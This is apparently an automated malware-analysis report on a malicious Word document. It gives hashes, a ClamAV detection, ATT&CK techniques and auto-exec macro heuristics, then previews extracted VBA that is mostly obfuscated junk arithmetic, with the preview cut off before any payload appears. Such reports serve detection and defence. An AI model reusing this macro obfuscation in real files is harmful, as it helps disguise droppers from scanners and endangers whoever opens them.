Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 601d367ffbcf26ae…

MALICIOUS

Office (OLE)

227.0 KB Created: 2019-03-15 16:04:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: 17026409550d62ac9b3468cfecc293f5 SHA-1: 827dbdb35cc0224c68059d427746e165ab9a151a SHA-256: 601d367ffbcf26ae3ba80740c07ee9c61ee5a016ffaead2f0078d67f9f290024
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is identified as malicious by ClamAV and exhibits high-severity heuristics for legacy WordBasic auto-exec macros and GetObject calls. The presence of an AutoOpen macro suggests an attempt to automatically execute code upon opening the document, likely to download and run a secondary payload.

Heuristics 7

  • ClamAV: Doc.Malware.Droo-6896581-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Droo-6896581-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 58831 bytes
SHA-256: 879af283f8c2e34dfb1521b0be931ef86da1176e67184329def84676f2a2c71a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "DAADAB"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "zZXDADAk"
Function sBC4CAC()
   If wUAAoG = CAACAAAU Then
       zAZXUx = 61647610 * w4xUBAcA
       jUU1AX = UBDDkD_ / 975503925 / 354510946 + 515208374 * 789540084 / 4485045 + (RAADAGQ1 - Tan(iDcABAw + 988374655 - 349157609 - Oct(wUB_AAB1 - Hex(453242346) + 934798315 + Oct(373408423))) + (439573885 / Sqr(962388636)))
       wAAUBDo = 805714584 * TxAA1AGA
End If
   If JkBxAA_B = EAB1DA Then
       WUDBACA = 735401568 * BUQGDZ
       pDxBUQ_ = PGGoDDAo / 513109002 / 650544983 + 345491878 * 227299387 / 878792730 + (t1QGZA - Tan(Y_QDZB + 684592286 - 820320361 - Oct(FZAZ1GA - Hex(643824977) + 804550601 + Oct(565839100))) + (863279562 / Sqr(480714460)))
       GUUUcQAA = 318324981 * UBUAxB
End If
   If rkBAAD = hBGA_A Then
       PAoACBBA = 993243301 * iABoXAw
       qGAAxQ = L1AxAADD / 692321772 / 229446258 + 382716163 * 991201577 / 271989128 + (wZZAACZk - Tan(VAAQQAU + 545977682 - 841658619 - Oct(RBQAwQZA - Hex(830959095) + 926648947 + Oct(770811733))) + (514319998 / Sqr(834094207)))
       bQAAUXZ4 = 387422446 * dAZcAAwk
End If
   If fBAUU1 = VoxAAA Then
       NZB1c_ = 935830736 * BAACCDB
       rAk4_A = iXDAAw / 729121093 / 206412014 + 188728393 * 48931231 / 490178330 + (HAAAGw - Tan(YZAAUA + 780221274 - 142363609 - Oct(jBQAQA - Hex(498024384) + 617230720 + Oct(848234825))) + (431586930 / Sqr(726565160)))
       SoxUA1 = 849138633 * ncXGAcxA
End If
   If zGCBc1 = doDQoC Then
       mAAXAoC = 35929842 * lDkBoQ
       vAAQA_ = nQA41G1C / 70227514 / 162973186 + 663076132 * 540719600 / 658016471 + (wDGBoCUx - Tan(lABUwGX + 411516776 - 829268199 - Oct(GoAADAQ - Hex(715755535) + 855007762 + Oct(571776731))) + (481186006 / Sqr(851199565)))
       WZooBx = 519790543 * dAUABZ_k
End If
   If LAQAG4 = tA_CAA Then
       MoQAkAXQ = 727076084 * GAoQck
       ZZAAx4U = NAAGxBoB / 837155774 / 578519195 + 956113032 * 809731437 / 527657672 + (G1AUcC - Tan(hUcUZAQk + 404637853 - 859253284 - Oct(UUGkDx - Hex(956311732) + 157289924 + Oct(532769264))) + (453575932 / Sqr(628069330)))
       i4Uc1B = 881857194 * aAxAUGA
End If
   If BxADAA = cGxx1wZ Then
       PcDAGAw4 = 236420209 * GAZxQCAZ
       MQG1AUG = NBA4AAXo / 372910455 / 580477843 + 496857174 * 461518494 / 590434195 + (NAAcwA - Tan(DUAAAC + 214793396 - 60321698 - Oct(UBA1wAD - Hex(580318690) + 96773358 + Oct(48705553))) + (913956812 / Sqr(156846096)))
       wQAUAGQ = 525809715 * mXU_QAAQ
End If
   If QBAUZU = BoUGxCZ4 Then
       hkUBAA = 734607208 * jCAwUwwk
       lUQZ1A = HAcZAw / 351522310 / 54500890 + 887302669 * 333049910 / 758108333 + (hUGAooAx - Tan(rU_D4oAA + 289789740 - 626683966 - Oct(JAkUCoA - Hex(322473401) + 897504852 + Oct(374435142))) + (695641192 / Sqr(316437997)))
       GBUUXx = 666234365 * GQAAXA
End If
   If XGU_AB = WDAww1D Then
       rGCGAU4x = 755522535 * EBDADQ_x
       MxBAQwAA = WQwU_A / 652825963 / 305329196 + 971660387 * 89892021 / 460282150 + (TAB1Bk - Tan(Dkx4Ak44 + 451860254 - 460072655 - Oct(bAAADUxk - Hex(149884867) + 42141042 + Oct(13067286))) + (359953551 / Sqr(240385170)))
       kCCBk_X = 364345255 * FACxUQ
End If
End Function
Function rABcAAAA()
On Error Resume Next
If hDDoCUk = dQBAc4Co Then
       wAZwCQ4 = 49399325 * YZGwAD
       XkcAGc = qDx1AA_U / 759144019 / 421830320 + 138116179 * 858539636 / 403082510 + (RcD1ABA - Tan(soAD_AAZ + 682659700 - 109310202 - Oct(CBXwAA - Hex(458852658) + 996569796 + Oct(960399976))) + (891811754 / Sqr(665910324)))
       hX1UZcZk = 112559334 * qDCCAA
End If
   If QDQBkA = IBCxAw Then
       CUQAwAQX = 819375394 * iA_U1Q
       QBoZUB = jUBAxwAA / 293903548 / 387003740 + 879335876 * 994601189 / 58263918 + (nCAcUUX - Tan(AAADXwk + 574401956 - 449936881 - Oct(YCDDDZ - Hex(26701183) + 89777822 + Oct(901395669))) + (664029785 / Sqr(277962475)))
       wkQD4U
... (truncated)

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